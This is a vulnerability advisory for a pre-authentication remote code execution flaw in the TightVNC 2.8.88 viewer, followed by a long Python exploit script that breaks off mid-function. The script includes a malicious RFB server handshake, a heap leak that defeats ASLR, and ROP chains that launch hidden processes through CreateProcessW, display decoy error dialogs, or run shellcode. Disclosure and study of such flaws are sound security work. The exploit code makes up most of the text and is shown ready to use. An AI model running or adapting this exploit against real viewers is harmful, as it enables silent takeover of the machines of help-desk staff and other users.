Summary
In VNC the server announces the screen size and the viewer allocates a pixel buffer for it. TightVNC computes that buffer’s byte size in a 32-bit int. A server announcing 32768 x 32769 at 32bpp makes the size wrap from 4 GB to 128 KB, while the viewer keeps the announced dimensions as its logical canvas. Pixel writes are then placed by 32-bit pointer arithmetic against the announced width, into the 128 KB allocation, with no bounds check. That is a server-controlled write at any signed offset from the framebuffer.
Vendor Response
We never received any response from the vendor regarding our report, they have patched the vulnerability on the 3rd of Oct 2026 without mentioning any security patch.
Credit
SeongJoon Cho from SSD Labs Korea.
Affected Versions
- TightVNC 2.8.88 x64
Attack Surface
RFB authentication is one-directional: the server may challenge the viewer, never the reverse. TightVNC’s viewer accepts security type None.
There are two scenarios attackers can assume.
- Listening mode.
tvnviewer.exe -listen, or the GUI’s Listening Mode, binds0.0.0.0:5500and waits for a server to connect to it. No IP restriction, no password. This is the usual help-desk deployment, and it puts the RCE straight on the network. In this case, it’s pre-auth remote code execution. - Outbound connection. The viewer connects to an attacker-controlled address: a link, a rogue support server, or a real server whose port has been taken over. Compromise happens on connect, before any password prompt.
Root Cause
rfb/FrameBuffer.cpp:
int FrameBuffer::getBufferSize() const
{
return (int)((UINT64)m_dimension.area() * m_pixelFormat.bitsPerPixel / 8); // (1)
}
void *FrameBuffer::getBufferPtr(int x, int y) const
{
char *ptr = (char *)m_buffer;
ptr += (y * m_dimension.width + x) * getBytesPerPixel(); // (2)
return (void *)ptr;
}
The allocation size is truncated
The product is computed in 64 bits, then discarded by the (int) cast.
| announced geometry | W * H * 4 (64-bit) | after (int) | new UINT8[...] |
|---|---|---|---|
| 32768 x 32768 | 0x1_0000_0000 | 0 | 0 bytes |
| 32768 x 32769 | 0x1_0002_0000 | 0x20000 | 128 KB |
The important thing is that the logical size is not truncated. m_dimension keeps 32768 * 32769 (width * height). As a result, allocation size and logical size get different: a 128 KB buffer behind a 4 GB canvas.
The write offset is 32-bit and unchecked
getBufferPtr computes m_buffer + (y * width + x) * 4 in int, using the announced width, and nothing compares the result against the real allocation. A large y overflows the product and sign-extends it, so the write lands at a chosen offset from the buffer, positive or negative.
Write happens following flow:
RemoteViewerCore::receiveFbUpdateRectangle()getDimension()RawDecoder::process()DecoderOfRectangle::process()RawDecoder::decode()TightDecoder::decode()->drawTightBytes()DecoderOfRectangle::copy()
Write Primitive
To write at signed offset d from the framebuffer, invert the viewer’s arithmetic.
def rect_for_delta(start_delta, n_pixels): # tvnexploit.py
linear = ((1 << 32) + start_delta) // 4 # wrap a negative delta
y, x = divmod(linear, FB_W) # FB_W = 32768
if x + n_pixels > FB_W or y >= FB_H: # must fit the announced canvas
raise ValueError("rect out of announced dimensions")
return x, y
Worked example, targeting the object 0x18AF0 bytes below the framebuffer:
d = -0x18AF0 (-101104) linear = (2**32 - 101104) // 4 = 1073716548 x, y = divmod(1073716548, 32768) -> y = 32767, x = 7492 (32767 * 32768 + 7492) * 4 = 0xFFFE7510, and as a signed 32-bit int that is -0x18AF0
A FramebufferUpdate carrying one Raw rectangle at (7492, 32767) writes its pixel bytes to FB1 - 0x18AF0.
Chain Overview
The following graph shows the overall attack scenario.
attacker (RFB server) viewer
-----------------------------------------------------------
1. RFB handshake, security type None --> accepted, no challenge
2. ServerInit 32768 x 32769 @ 32bpp --> allocates the truncated 128 KB buffer, FB1
3. poison m_dataLength at FB1 - 0x440 -->
4. <-- flush() streams adjacent heap back
recover image base and FB1
5. fake object + ROP chain into FB1 -->
6. overwrite BufferedOutputStream vtable ptr --> next virtual call is hijacked:
stack pivot into FB1, ROP, CreateProcessW
Handshake and Grooming
The handshake is 45 bytes and proves nothing:
s.sendall(b"RFB 003.008\n") # greet as the server
s.sendall(bytes([1, 1])) # offer one security type: None
s.sendall(struct.pack(">I", 0)) # SecurityResult = OK
s.sendall(struct.pack(">HH", 32768, 32769) # ServerInit: the poisoned geometry
+ PIXEL_FORMAT + struct.pack(">I", 3) + b"PWN")
ServerInit is to allocate the 128 KB buffer, called FB1 below.
In a freshly started viewer the first RemoteViewerCore places everything the chain needs at fixed offsets from FB1:
low address | | +------------------------------------------------------------+ FB1 - 0x18AF0 | | BufferedOutputStream (BOS) - outgoing socket buffer | | | +0 vtable pointer <- hijack target | | | +8 m_output | | | +0x10 char m_buffer[100000] | | | +0x186B0 m_dataLength <- leak trigger | FB1 - 0x440 | +------------------------------------------------------------+ | | +------------------------------------------------------------+ FB1 | | 128 KB framebuffer (m_buffer) | | | the only in-bounds region, and we control every byte | | | +0x10000 fake object + ROP chain | | +------------------------------------------------------------+ FB1 + 0x20000 | | +------------------------------------------------------------+ FB1 + 0x402F0 | | heap neighbour (a linked object) | | | its pointer shows up in the leak -> recovers FB1 | | +------------------------------------------------------------+ v high address every target above is reached from the 128 KB buffer by ONE out-of-bounds write
Both the leak and the virtual call come from BufferedOutputStream.
Leak for Breaking ASLR
m_dataLength means how many bytes of m_buffer are pending. Set it to a large value and the next flush() sends that many bytes. So it streams roughly 100 KB of adjacent heap back over the socket.
Two values come from those bytes.
- Image base. Leaked pointers into
tvnviewer.exeare matched against three known RVAs (0xB6330,0xEA950,0xAC740). - FB1. The framebuffer’s heap neighbours are pointers at fixed distances from it.
RIP Control
+---------------+ +----------------------------------+ FB1
| BOS | | 128 KB framebuffer |
| +0 vtable +--------(2)---------->| +0x10000 fake object |
+---------------+ | +0 marker |
FB1 - 0x18AF0 | +8 pivot gadget |
| +0x10028 ROP chain |
+----------------------------------+
(1) place the fake object and the ROP chain inside the framebuffer
(2) overwrite the BOS vtable pointer so it points at the fake object. The next virtual call then follows [BOS+0] -> [fake+8] -> pivot gadget.
The hijacked site is:
mov rcx, [rsi+8] ; rcx = BufferedOutputStream = our 128 KB buffer mov rax, [rcx] ; rax = our fake object call qword ptr [rax+8] ; -> pivot gadget
ROP
The binary has ASLR on, DEP on, CFG absent.
Stack pivot at +0x06354A:
xchg esp, eax ; add [rax],eax ; mov rax,rbx ; add rsp,0x20 ; pop rbx ; ret
rax is the fake object at the moment of the hijack, so xchg esp,eax moves the stack into the framebuffer. The following add [rax],eax touches the old, still-mapped stack and is harmless. ROP starts at fake + 0x28.
After it, it’s just a classic ROP.
Exploit
#!/usr/bin/env python3
import argparse
import socket
import struct
import sys
import threading
import time
# ------------------------------------------------------------ target profile
FB_W = 32768
FB_H = 32769 # (W*H*4) mod 2**32 == 0x20000 -> 128KB buffer
END_DELTA = -1088 # m_dataLength - FB1, listening mode (deterministic)
DEFAULT_PIXELS = 25001 # 100,004-byte aiming window ending at END_DELTA
FB1_FROM_BOS = 0x18AF0 # FB1 = BufferedOutputStream + 0x18AF0 (listening)
FAKE_AT = 0x10000 # fake object / ROP chain / data at FB1 + this
M_DATALENGTH = 0x186B0 # BufferedOutputStream::m_dataLength (class layout: vtable +0, m_output +8, char m_buffer[100000] +0x10)
PIXEL_FORMAT = bytes([32, 24, 0, 1, 0, 255, 0, 255, 0, 255, 16, 8, 0, 0, 0, 0])
# CreateProcessW window suppression (see build_command)
CREATE_NO_WINDOW = 0x08000000
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
MB_OK = 0x00000000
MB_RETRYCANCEL = 0x00000005
MB_ICONERROR = 0x00000010
MB_AUTH_FAIL = MB_RETRYCANCEL | MB_ICONERROR
# leaked image pointers -> known RVAs
IMG_PTR_RVAS = (0xB6330, 0xEA950, 0xAC740)
IMG_PAIR_RVAS = (0xB6330, 0xEA950)
PAIR_GAP = 0x20
PAIR_FWD_OFF = 0x230
PAIR_FWD_DELTA = 0x41300
ANCHORS = {
0xD6D0: (0x160, 0xD830),
0xDB20: (-0x402F0, 0xD830),
0x0060: (0x3D7D0, 0xD830),
0x1000: (-0x437D0, 0xD830),
0xF340: (-0x41B10, 0xD830),
0xE970: (-0x41300, 0xD670),
0xD9B0: (-0x40020, 0xD990),
0xEAC0: (-0x41300, 0xD7C0),
0xEB30: (-0x41300, 0xD830),
0xE300: (-0x402F0, 0xE010),
}
NEIGHBOUR_OFFS = (0x41300, 0x402F0)
FB1_LOW16_BAND = (0xD400, 0xE200)
# ---------------------------------------------------------- OUTBOUND layout
FB_ANCHOR_SIG = b"\xc0\xd0\xe0\xf0" # high dword of the magic, little-endian
FB_ANCHOR_BACK = 0x160 # FB1 = (ptr 12 bytes before the sig) + this
FB1_OUT_BAND = (0xD000, 0xE800) # sanity guard on FB1's sub-page offset
NEIGH_OUT = (0x160, -0x402F0, -0x41700) # legacy neighbour offsets (fallback)
NEIGH_OUT_BAND = (0xD000, 0xE800)
ANCHORS_OUT = {
0x0060: (0x3DCC0, 0xDD20),
0xE010: (-0x402F0, 0xDD20),
0xDBC0: (0x160, 0xDD20),
0xF420: (-0x41700, 0xDD20),
0x6000: (0x17D20, 0xDD20),
}
LAYOUTS = {
# how we reached the viewer -> its heap layout
"listen": dict(
d=FB1_FROM_BOS,
poison_px=DEFAULT_PIXELS,
anchors=ANCHORS,
leaks=(0x1C000, 0x2C000, 0x40000, 0x4E000),
fake_at=FAKE_AT,
burst=18,
round_bytes=0x1B0000,
fire_delay=0.5,
outbound=False,
),
# Same fake-object slot as listening: what matters is that aimed_chunks()
"serve": dict(
d=0x18820,
poison_px=2,
anchors=ANCHORS_OUT,
leaks=(0x59000, 0x5B000),
fake_at=FAKE_AT,
burst=3,
round_bytes=0x80000,
fire_delay=0.15,
outbound=True,
),
}
# gadgets (RVA into tvnviewer.exe)
G = {
"pivot": 0x06354A, # xchg esp,eax ; add [rax],eax ; mov rax,rbx ; add rsp,0x20 ; pop rbx ; ret
"pop_rcx": 0x0168D3,
"pop_rdx": 0x080C6E,
"pop_rax": 0x0340C5,
"pop_r8": 0x0049BC, # pop r8 ; movsxd rax,[rax] ; ret
"pop_r9": 0x04D6BE, # pop r9 ; add byte [rax-0x75],cl ; ret
"jmp_rax": 0x03476D, # jmp qword [rax]
"jmp_rax_reg": 0x00C668, # jmp rax
"wwstore": 0x01ADED, # mov [rcx],rax ; add rsp,0x38 ; ret
"ret": 0x0168D4,
"add28": 0x006CA1,
"add50": 0x00DCBE,
}
IAT = {
"CreateProcessW": 0xAB1A8,
"GetProcAddress": 0xAB1E8,
"GetModuleHandleW": 0xAB3C8,
"LoadLibraryA": 0xAB3F0,
"Sleep": 0xAB170,
"ExitProcess": 0xAB278,
"MessageBoxW": 0xAB798,
}
# ------------------------------------------------------------ RFB primitives
def rect_for_delta(start_delta, n_pixels):
if start_delta % 4:
raise ValueError("delta must be 4-byte aligned")
linear = ((1 << 32) + start_delta) // 4
y, x = divmod(linear, FB_W)
if x + n_pixels > FB_W or y >= FB_H:
raise ValueError("rect out of announced dimensions")
return x, y
def window(n_pixels):
start = END_DELTA - 4 * (n_pixels - 1)
x, y = rect_for_delta(start, n_pixels)
return x, y, start
def aimed_chunks(end_delta, n_pixels):
start = end_delta - 4 * (n_pixels - 1)
out, done = [], 0
while done < n_pixels:
cur = start + 4 * done
linear = (((1 << 32) + cur) // 4) % (1 << 30)
if linear + (1 << 30) < FB_H * FB_W:
linear += 1 << 30
y, x = divmod(linear, FB_W)
take = min(FB_W - x, n_pixels - done)
out.append((x, y, take, cur))
done += take
return out
def poison_shot(layout, leak_val):
end = M_DATALENGTH - layout["d"]
n = layout["poison_px"]
return b"".join(
fb_update(x, y, w, 1, payload(cur, w, leak_val))
for x, y, w, cur in aimed_chunks(end if n > 2 else end + 4, n)
)
def write_at(c, delta, blob):
if len(blob) % 4:
blob += b"\x00" * (4 - len(blob) % 4)
n, off = len(blob) // 4, 0
for x, y, w, cur in aimed_chunks(delta + 4 * (n - 1), n):
if not c.fire(fb_update(x, y, w, 1, blob[off : off + w * 4])):
return False
off += w * 4
return True
def payload(start_delta, n_pixels, leak_value):
buf = bytearray(n_pixels * 4)
packed = struct.pack("<I", leak_value)
for i in range(n_pixels):
if (start_delta + 4 * i) % 8 == 0:
buf[i * 4 : i * 4 + 4] = packed
return bytes(buf)
def fb_update(x, y, w, h, data):
return struct.pack(">BBH", 0, 0, 1) + struct.pack(">HHHHi", x, y, w, h, 0) + data
class Conn(object):
def __init__(self, host, port, timeout=6.0):
self.host, self.port, self.timeout = host, port, timeout
self.sock = None
self.chunks = []
self.stop = False
self.error = None
def _recv(self, n):
out = b""
while len(out) < n:
b = self.sock.recv(n - len(out))
if not b:
raise IOError("peer closed during handshake")
out += b
return out
def _handshake(self):
s = self.sock
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 16 << 20)
s.settimeout(self.timeout)
s.sendall(b"RFB 003.008\n")
if not self._recv(12).startswith(b"RFB "):
raise IOError("not an RFB peer")
s.sendall(bytes([1, 1])) # offer 1 security type: None
self._recv(1) # client picks it
s.sendall(struct.pack(">I", 0)) # SecurityResult = OK
self._recv(1) # ClientInit
s.sendall(
struct.pack(">HH", FB_W, FB_H)
+ PIXEL_FORMAT
+ struct.pack(">I", 3)
+ b"PWN"
) # ServerInit
def open(self):
"""Dial out to a viewer that is in listening mode (TCP 5500)."""
try:
self.sock = socket.create_connection((self.host, self.port), self.timeout)
self._handshake()
return True
except Exception as exc: # noqa: BLE001
self.error = "%s: %s" % (type(exc).__name__, exc)
self.close()
return False
def serve(self, bind, port, accept_timeout=None):
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((bind, port))
srv.listen(1)
srv.settimeout(accept_timeout)
self.sock, self.peer = srv.accept()
srv.close()
self._handshake()
return True
except Exception as exc: # noqa: BLE001
self.error = "%s: %s" % (type(exc).__name__, exc)
self.close()
return False
def start_reader(self):
def loop():
self.sock.settimeout(0.5)
while not self.stop:
try:
b = self.sock.recv(1 << 20)
if not b:
break
self.chunks.append(b)
except socket.timeout:
continue
except Exception: # noqa: BLE001
break
t = threading.Thread(target=loop)
t.daemon = True
t.start()
def fire(self, msg, times=1):
try:
for _ in range(times):
self.sock.sendall(msg)
return True
except Exception as exc: # noqa: BLE001
self.error = "fire: %s" % exc
return False
def data(self):
return b"".join(self.chunks)
def close(self):
self.stop = True
try:
if self.sock:
self.sock.close()
except Exception: # noqa: BLE001
pass
# ------------------------------------------------------- in-band recovery
def recover_base(data):
votes = {}
for off in range(0, len(data) - 8 + 1, 8):
v = struct.unpack_from("<Q", data, off)[0]
if 0x00007F0000000000 <= v <= 0x00007FFFFFFFFFFF:
for rva in IMG_PTR_RVAS:
cand = v - rva
if cand & 0xFFFF == 0 and cand > 0:
votes[cand] = votes.get(cand, 0) + 1
if not votes:
return None
base, n = max(votes.items(), key=lambda kv: kv[1])
return base if n >= 2 else None
def recover_fb1_out(data, allow_fallback=True, anchors=None, base=None):
import collections
votes = collections.Counter()
i = data.find(FB_ANCHOR_SIG)
while i != -1:
if i >= 12:
pre = struct.unpack_from("<Q", data, i - 12)[0]
if 0x00100000 <= pre <= 0x7FFFFFFF:
fb1 = pre + FB_ANCHOR_BACK
if FB1_OUT_BAND[0] <= (fb1 & 0xFFFF) <= FB1_OUT_BAND[1]:
votes[fb1] += 1
i = data.find(FB_ANCHOR_SIG, i + 1)
if votes:
return votes.most_common(1)[0][0]
if not allow_fallback:
return None
cnt = collections.Counter()
for off in range(0, len(data) - 8):
v = struct.unpack_from("<Q", data, off)[0]
if 0x00100000 <= v <= 0x7FFFFFFF and (v & 0xFFFF):
cnt[v] += 1
nb = collections.defaultdict(set)
for v, n in cnt.items():
if n < 2:
continue
for noff in NEIGH_OUT:
fb1 = v + noff
if (
fb1 > 0x100000
and NEIGH_OUT_BAND[0] <= (fb1 & 0xFFFF) <= NEIGH_OUT_BAND[1]
):
nb[fb1].add(noff)
if nb:
best = max(nb, key=lambda f: len(nb[f]))
if len(nb[best]) >= 2:
return best
return recover_fb1(data, allow_fallback=False, anchors=ANCHORS_OUT)
def fb1_from_image_pair(data, base):
if not base:
return None
import collections
p1 = struct.pack("<Q", base + IMG_PAIR_RVAS[0])
p2 = struct.pack("<Q", base + IMG_PAIR_RVAS[1])
votes = collections.Counter()
o = data.find(p1)
while o != -1:
if data[o + PAIR_GAP : o + PAIR_GAP + 8] == p2 and o + PAIR_FWD_OFF + 8 <= len(
data
):
fb1 = struct.unpack_from("<Q", data, o + PAIR_FWD_OFF)[0] - PAIR_FWD_DELTA
if 0x00100000 <= fb1 <= 0x7FFFFFFF:
votes[fb1] += 1
o = data.find(p1, o + 1)
return votes.most_common(1)[0][0] if votes else None
def recover_fb1(data, allow_fallback=True, anchors=None, base=None):
import bisect, collections
anchors = ANCHORS if anchors is None else anchors
heap = []
cand_low = collections.defaultdict(set) # fb1 -> {anchor low16}
cand_hits = collections.Counter() # fb1 -> total anchor occurrences
for off in range(0, len(data) - 8 + 1):
v = struct.unpack_from("<Q", data, off)[0]
if 0x00100000 <= v <= 0x7FFFFFFF:
heap.append(v)
low = v & 0xFFFF
if low in anchors:
delta, exp_low16 = anchors[low]
fb1 = v + delta
if fb1 & 0xFFFF == exp_low16:
cand_low[fb1].add(low)
cand_hits[fb1] += 1
heap.sort()
def neighbours(fb1, r=0x1000000):
return bisect.bisect_right(heap, fb1 + r) - bisect.bisect_left(heap, fb1 - r)
if cand_low:
ndist, hits, nneigh, fb1 = sorted(
((len(cand_low[f]), cand_hits[f], neighbours(f), f) for f in cand_low),
reverse=True,
)[0]
if ndist >= 2 or (hits >= 3 and nneigh >= 16):
return fb1
pair = fb1_from_image_pair(data, base)
if pair is not None:
return pair
if allow_fallback:
return fb1_from_repeats(heap, neighbours, anchors)
return None
def fb1_from_repeats(heap_sorted, neighbours, anchors=None):
import collections
# exclude round grooming markers (low16==0): those are our own written pattern
cnt = collections.Counter(v for v in heap_sorted if v & 0xFFFF)
# tier A: a repeated pointer whose low16 is a known anchor -> exact delta
tierA = []
for v, n in cnt.items():
if n >= 8 and (v & 0xFFFF) in anchors:
delta, exp_low16 = anchors[v & 0xFFFF]
fb1 = v + delta
if fb1 > 0x100000 and (fb1 & 0xFFFF) == exp_low16:
tierA.append((n, fb1))
if tierA:
return max(tierA)[1]
# tier B: unknown low16 -> band heuristic, require unambiguous dominance
band = []
for v, n in cnt.most_common(64):
if n < 20:
break
for off in NEIGHBOUR_OFFS:
fb1 = v - off
if (
fb1 > 0x100000
and FB1_LOW16_BAND[0] <= (fb1 & 0xFFFF) <= FB1_LOW16_BAND[1]
and neighbours(fb1) >= 24
):
band.append((n, fb1))
if not band:
return None
band.sort(reverse=True)
if len(band) == 1 or band[0][0] >= 2 * band[1][0]:
return band[0][1]
return None
def fb1_candidates(data, anchors=None):
import bisect, collections
anchors = ANCHORS if anchors is None else anchors
heap = []
low_hist = collections.Counter()
cand_low = collections.defaultdict(set)
cand_hits = collections.Counter()
for off in range(0, len(data) - 8 + 1):
v = struct.unpack_from("<Q", data, off)[0]
if 0x00100000 <= v <= 0x7FFFFFFF:
heap.append(v)
low_hist[v & 0xFFFF] += 1
if (v & 0xFFFF) in anchors:
delta, exp_low16 = anchors[v & 0xFFFF]
fb1 = v + delta
if fb1 & 0xFFFF == exp_low16:
cand_low[fb1].add(v & 0xFFFF)
cand_hits[fb1] += 1
heap.sort()
def nb(fb1, r=0x1000000):
return bisect.bisect_right(heap, fb1 + r) - bisect.bisect_left(heap, fb1 - r)
rows = sorted(
((len(cand_low[f]), cand_hits[f], nb(f), f) for f in cand_low), reverse=True
)
return heap, low_hist, rows
def debug_leak(data, anchors=None):
anchors = ANCHORS if anchors is None else anchors
base = recover_base(data)
print(" [debug] leaked %d B" % len(data))
imgs = sorted(
{
v
for _, v in [
(o, struct.unpack_from("<Q", data, o)[0])
for o in range(0, len(data) - 8, 8)
]
if 0x00007F0000000000 <= v <= 0x00007FFFFFFFFFFF
}
)
print(
" [debug] image pointers (step8): %d %s -> base=%s"
% (len(imgs), [hex(v) for v in imgs[:4]], ("0x%X" % base) if base else "NONE")
)
heap, low_hist, rows = fb1_candidates(data, anchors)
print(
" [debug] heap pointers (step1): %d ; anchor low16 present: %s"
% (len(heap), [hex(k) for k in low_hist if k in anchors] or "NONE")
)
print(
" [debug] top heap low16: %s"
% [(hex(k), n) for k, n in low_hist.most_common(6)]
)
print(" [debug] FB1 candidates (anchors, occurrences, neighbours, fb1):")
for ndist, hits, nn, f in rows[:6]:
take = "ACCEPT" if (ndist >= 2 or (hits >= 3 and nn >= 16)) else "reject"
print(
" %s anchors=%d hits=%d neigh=%d FB1=0x%X" % (take, ndist, hits, nn, f)
)
if not rows:
print(" (no anchor-derived FB1 candidate at all)")
heap.sort()
import bisect
def _nb(fb1, r=0x1000000):
return bisect.bisect_right(heap, fb1 + r) - bisect.bisect_left(heap, fb1 - r)
fb_fallback = fb1_from_repeats(heap, _nb, anchors)
print(
" [debug] launch-independent fallback (FB1+%s invariants): %s"
% (
"/".join("0x%X" % o for o in NEIGHBOUR_OFFS),
("0x%X" % fb_fallback) if fb_fallback else "no in-band repeated neighbour",
)
)
def leak(c, verbose=True, debug=False, layout=None):
layout = layout or LAYOUTS["listen"]
anchors = layout["anchors"]
fb1_of = recover_fb1_out if layout.get("outbound") else recover_fb1
nbytes = lambda: sum(len(x) for x in c.chunks)
for li, leak_val in enumerate(layout["leaks"]):
shot = poison_shot(layout, leak_val)
for r in range(2):
target = nbytes() + layout["round_bytes"]
c.fire(shot, layout["burst"]) # burst: re-poison each flush
for _ in range(14): # wait up to ~1.8s for it to arrive
time.sleep(0.13)
if nbytes() >= target:
break
d = c.data()
base = recover_base(d)
# tabulated anchors only mid-escalation; a fallback guess here would
# short-circuit before a weak tabulated anchor is bursted enough.
fb1 = (
fb1_of(d, allow_fallback=False, anchors=anchors, base=base)
if base
else None
)
if debug:
print(
" [debug] round leak_val=0x%X try=%d recv=%d base=%s fb1=%s"
% (leak_val, r, len(d), bool(base), bool(fb1))
)
if base and fb1:
if verbose:
print(
" leak %d B image base=0x%016X FB1=0x%016X"
% (len(d), base, fb1)
)
return base, fb1
# fully escalated and no tabulated anchor surfaced: last resort, allow the
# launch-independent fallback for a genuinely un-catalogued layout.
d = c.data()
base = recover_base(d)
fb1 = fb1_of(d, allow_fallback=True, anchors=anchors, base=base)
if base and fb1:
if verbose:
print(
" leak %d B image base=0x%016X FB1=0x%016X (fallback)"
% (len(d), base, fb1)
)
return base, fb1
if debug:
debug_leak(d, anchors)
try:
open("leak_debug.bin", "wb").write(d)
print(" [debug] raw leak saved -> leak_debug.bin (%d B)" % len(d))
except Exception as exc: # noqa: BLE001
print(" [debug] could not save leak: %s" % exc)
return None, None
# ------------------------------------------------------------ ROP chain
class Chain(object):
def __init__(self, base, fb1, size=0x4000, fake_at=FAKE_AT):
self.base, self.fb1 = base, fb1
self.fake_at = fake_at
self.fake = fb1 + fake_at
self.buf = bytearray(size)
self.q(0x00, 0x4B4F4F42_00000000) # marker
self.q(0x08, self.g("pivot")) # [fake+8] = pivot (call target)
self.q(0x20, 0) # rbx sink
self.ch = 0x28
self.data_cur = 0x1000
self.survive_sc = False
def g(self, n):
return self.base + G[n]
def iat(self, n):
return self.base + IAT[n]
def q(self, off, val):
self.buf[off : off + 8] = struct.pack("<Q", val & 0xFFFFFFFFFFFFFFFF)
def put(self, off, data):
self.buf[off : off + len(data)] = data
def push(self, val):
self.q(self.ch, val)
self.ch += 8
def align_call(self):
if ((self.ch + 8) % 16) != 8:
self.push(self.g("ret"))
def blob(self, data):
o = self.data_cur
self.put(o, data)
self.data_cur += (len(data) + 0xF) & ~0xF
return self.fake + o
def send(self, c):
if self.ch > 0x1000:
raise ValueError("chain overruns data region")
write_at(c, self.fake_at, bytes(self.buf))
def sleep_tail(ch):
ch.push(ch.g("pop_rcx"))
ch.push(0xFFFFFFFF)
ch.push(ch.g("pop_rax"))
ch.push(ch.iat("Sleep"))
ch.align_call()
ch.push(ch.g("jmp_rax"))
ch.push(ch.g("ret"))
for _ in range(4):
ch.push(0)
def exit_tail(ch):
ch.push(ch.g("pop_rcx"))
ch.push(0)
ch.push(ch.g("pop_rax"))
ch.push(ch.iat("ExitProcess"))
ch.align_call()
ch.push(ch.g("jmp_rax"))
ch.push(ch.g("ret"))
for _ in range(4):
ch.push(0)
def build_command(ch, cmdline, tail="crash", hide=True):
si = bytearray(0x68)
si[0x00:0x04] = struct.pack("<I", 0x68) # cb
if hide:
si[0x3C:0x40] = struct.pack("<I", STARTF_USESHOWWINDOW)
si[0x40:0x42] = struct.pack("<H", SW_HIDE)
p_cmd = ch.blob(cmdline.encode("utf-16-le") + b"\x00\x00")
p_si = ch.blob(bytes(si))
p_pi = ch.blob(b"\x00" * 0x18)
p_zero = ch.blob(b"\x00" * 8)
p_scr = ch.blob(b"\x00" * 0x10)
ch.push(ch.g("pop_rcx"))
ch.push(0) # lpApplicationName
ch.push(ch.g("pop_rdx"))
ch.push(p_cmd) # lpCommandLine (writable)
ch.push(ch.g("pop_rax"))
ch.push(p_zero) # readable for movsxd
ch.push(ch.g("pop_r8"))
ch.push(0) # lpProcessAttributes
ch.push(ch.g("pop_rax"))
ch.push(p_scr + 0x75) # writable for pop_r9 side-effect
ch.push(ch.g("pop_r9"))
ch.push(0) # lpThreadAttributes
ch.push(ch.g("pop_rax"))
ch.push(ch.iat("CreateProcessW"))
ch.push(ch.g("ret"))
ch.push(ch.g("jmp_rax"))
ch.push(ch.g("add50") if tail != "crash" else ch.g("ret")) # CPW return address
for _ in range(4):
ch.push(0) # shadow
ch.push(0) # arg5 bInheritHandles
ch.push(CREATE_NO_WINDOW if hide else 0) # arg6 dwCreationFlags
ch.push(0) # arg7 lpEnvironment
ch.push(0) # arg8 lpCurrentDirectory
ch.push(p_si) # arg9 lpStartupInfo
ch.push(p_pi) # arg10 lpProcessInformation
if tail != "crash":
ch.push(0) # filler for add50's pop rdi
(sleep_tail if tail == "sleep" else exit_tail)(ch)
def build_exit(ch):
exit_tail(ch)
def build_msgbox(ch, text, caption="TightVNC Viewer", utype=MB_AUTH_FAIL, tail="exit"):
p_text = ch.blob(text.encode("utf-16-le") + b"\x00\x00")
p_cap = ch.blob(caption.encode("utf-16-le") + b"\x00\x00")
p_zero = ch.blob(b"\x00" * 8) # readable for pop_r8 movsxd
p_scr = ch.blob(b"\x00" * 0x10) # writable for pop_r9 side-effect
ch.push(ch.g("pop_rcx"))
ch.push(0) # hWnd = NULL (also clears cl)
ch.push(ch.g("pop_rdx"))
ch.push(p_text) # lpText
ch.push(ch.g("pop_rax"))
ch.push(p_zero) # readable for movsxd
ch.push(ch.g("pop_r8"))
ch.push(p_cap) # lpCaption
ch.push(ch.g("pop_rax"))
ch.push(p_scr + 0x75) # writable for pop_r9 side-effect
ch.push(ch.g("pop_r9"))
ch.push(utype) # uType (cl==0 -> add is a no-op)
ch.push(ch.g("pop_rax"))
ch.push(ch.iat("MessageBoxW"))
ch.push(ch.g("ret")) # alignment (matches build_command)
ch.push(ch.g("jmp_rax"))
ch.push(
ch.g("add50") if tail != "crash" else ch.g("ret")
) # MessageBoxW return address
for _ in range(4):
ch.push(0) # shadow space
for _ in range(6):
ch.push(0) # unused stack-arg slots (add50 skips)
if tail != "crash":
ch.push(0) # filler for add50's pop rdi
(sleep_tail if tail == "sleep" else exit_tail)(ch)
def build_shellcode(ch, sc, survive=False):
p_k32 = ch.blob("kernel32.dll".encode("utf-16-le") + b"\x00\x00")
p_vp = ch.blob(b"VirtualProtect\x00")
p_zero = ch.blob(b"\x00" * 8)
p_scr = ch.blob(b"\x00" * 0x40)
if survive:
sc = (
sc
+ b"\x48\xb9"
+ struct.pack("<Q", 0xFFFFFFFF)
+ b"\x48\xb8"
+ struct.pack("<Q", ch.iat("Sleep"))
+ b"\xff\x10"
)
p_sc = ch.blob(sc)
def call_iat(name):
ch.push(ch.g("pop_rax"))
ch.push(ch.iat(name))
ch.align_call()
ch.push(ch.g("jmp_rax"))
ch.push(ch.g("add28")) # return: skip 5 slots, continue
for _ in range(5):
ch.push(0)
def store_future():
ch.push(ch.g("pop_rcx"))
tgt = ch.ch
ch.push(0)
ch.push(ch.g("wwstore"))
for _ in range(7):
ch.push(0)
return tgt
ch.push(ch.g("pop_rcx"))
ch.push(p_k32) # GetModuleHandleW(L"kernel32")
call_iat("GetModuleHandleW")
t1 = store_future()
ch.push(ch.g("pop_rcx"))
hmod = ch.ch
ch.push(0)
ch.q(t1, ch.fake + hmod)
ch.push(ch.g("pop_rdx"))
ch.push(p_vp) # GetProcAddress(hmod,"VirtualProtect")
call_iat("GetProcAddress")
t2 = store_future()
ch.push(ch.g("pop_rcx"))
ch.push(p_sc & ~0xFFF) # VirtualProtect(page,...)
ch.push(ch.g("pop_rdx"))
ch.push(0x3000)
ch.push(ch.g("pop_rax"))
ch.push(p_zero)
ch.push(ch.g("pop_r8"))
ch.push(0x40) # PAGE_EXECUTE_READWRITE
ch.push(ch.g("pop_rax"))
ch.push(p_scr + 0x75)
ch.push(ch.g("pop_r9"))
ch.push(p_scr)
ch.push(ch.g("pop_rax"))
vp = ch.ch
ch.push(0)
ch.q(t2, ch.fake + vp)
ch.align_call()
ch.push(ch.g("jmp_rax_reg")) # call VirtualProtect
ch.push(p_sc) # return -> shellcode
for _ in range(4):
ch.push(0)
return p_sc
# ---------------------------------------------------------------- driver
def run(
host,
port,
mode,
payload_arg,
wait,
tail,
retries,
verbose=True,
debug=False,
serve_port=None,
hide=True,
):
layout = LAYOUTS["serve" if serve_port is not None else "listen"]
for attempt in range(1, retries + 1):
if retries > 1:
print("[attempt %d/%d]" % (attempt, retries))
c = Conn(host, port)
if serve_port is not None:
print(
"serving malicious VNC server on 0.0.0.0:%d -- waiting for a viewer to connect..."
% serve_port
)
if not c.serve("0.0.0.0", serve_port):
print(" serve failed: %s" % c.error)
time.sleep(1.0)
continue
print(
"viewer connected from %s"
% (c.peer[0] if getattr(c, "peer", None) else "?")
)
elif not c.open():
